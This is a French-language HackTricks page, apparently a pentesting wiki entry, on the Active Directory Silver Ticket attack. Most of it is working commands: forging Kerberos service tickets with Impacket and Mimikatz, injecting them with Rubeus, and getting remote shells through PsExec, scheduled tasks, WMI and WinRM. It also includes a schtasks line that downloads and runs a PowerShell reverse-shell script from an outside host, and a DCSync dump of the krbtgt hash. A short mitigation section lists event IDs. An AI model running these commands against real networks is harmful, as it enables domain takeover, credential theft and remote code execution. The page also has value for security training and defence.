hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

12 KiB

Ticket d'argent

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si vous êtes intéressé par une carrière de piratage et que vous voulez pirater l'impossible - nous recrutons ! (maîtrise du polonais écrit et parlé requise).

{% embed url="https://www.stmcyber.com/careers" %}

Ticket d'argent

L'attaque du ticket d'argent est basée sur la création d'un TGS valide pour un service une fois que le hachage NTLM du service est obtenu (comme le hachage du compte PC). Ainsi, il est possible d'accéder à ce service en falsifiant un TGS personnalisé en tant que n'importe quel utilisateur.

Dans ce cas, le hachage NTLM d'un compte d'ordinateur (qui est une sorte de compte utilisateur dans AD) est possédé. Par conséquent, il est possible de créer un ticket afin de pénétrer dans cette machine avec des privilèges d'administrateur via le service SMB. Les comptes d'ordinateur réinitialisent leurs mots de passe tous les 30 jours par défaut.

Il faut également prendre en compte qu'il est possible ET PRÉFÉRABLE (opsec) de falsifier des tickets en utilisant les clés Kerberos AES (AES128 et AES256). Pour savoir comment générer une clé AES, consultez : section 4.4 de MS-KILE ou le Get-KerberosAESKey.ps1.

{% code title="Linux" %}

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass

{% endcode %}

Dans Windows, Mimikatz peut être utilisé pour créer le ticket. Ensuite, le ticket est injecté avec Rubeus, et enfin un shell distant peut être obtenu grâce à PsExec.

{% code title="Windows" %}

#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi

{% endcode %}

Le service CIFS est celui qui vous permet d'accéder au système de fichiers de la victime. Vous pouvez trouver d'autres services ici: https://adsecurity.org/?page_id=183. Par exemple, vous pouvez utiliser le service HOST pour créer une tâche planifiée sur un ordinateur. Ensuite, vous pouvez vérifier si cela a fonctionné en essayant de répertorier les tâches de la victime: schtasks /S <hostname> ou vous pouvez utiliser les services HOST et RPCSS pour exécuter des requêtes WMI sur un ordinateur, testez-le en faisant: Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>

Atténuation

Événements ID des tickets Silver (plus furtifs que les tickets Golden):

  • 4624: Connexion au compte
  • 4634: Déconnexion du compte
  • 4672: Connexion de l'administrateur

Plus d'informations sur les tickets Silver sur ired.team

Services disponibles

Type de service Tickets Silver du service
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

En fonction du système d'exploitation également:

WSMAN

RPCSS

WinRM

HOST

HTTP

Dans certaines occasions, vous pouvez simplement demander: WINRM

Tâches planifiées HOST
Partage de fichiers Windows, également psexec CIFS
Opérations LDAP, y compris DCSync LDAP
Outils d'administration à distance du serveur Windows

RPCSS

LDAP

CIFS

Tickets Golden krbtgt

Avec Rubeus, vous pouvez demander tous ces tickets en utilisant le paramètre:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Abus des tickets de service

Dans les exemples suivants, imaginons que le ticket soit récupéré en se faisant passer pour le compte administrateur.

CIFS

Avec ce ticket, vous pourrez accéder aux dossiers C$ et ADMIN$ via SMB (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Vous pourrez également obtenir un shell à l'intérieur de l'hôte ou exécuter des commandes arbitraires en utilisant psexec:

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HÔTE

Avec cette autorisation, vous pouvez générer des tâches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HÔTE + RPCSS

Avec ces tickets, vous pouvez exécuter WMI dans le système victime :

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Trouvez plus d'informations sur wmiexec dans la page suivante :

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HÔTE + WSMAN (WINRM)

Avec un accès winrm sur un ordinateur, vous pouvez y accéder et même obtenir un PowerShell :

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Consultez la page suivante pour en savoir plus sur les différentes façons de se connecter à un hôte distant en utilisant winrm:

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Notez que winrm doit être actif et en écoute sur l'ordinateur distant pour y accéder. {% endhint %}

LDAP

Avec ce privilège, vous pouvez extraire la base de données du contrôleur de domaine en utilisant DCSync :

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

En savoir plus sur DCSync dans la page suivante:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Si vous êtes intéressé par une carrière de piratage et souhaitez pirater l'impossible - nous recrutons ! (maîtrise du polonais écrit et parlé requise).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥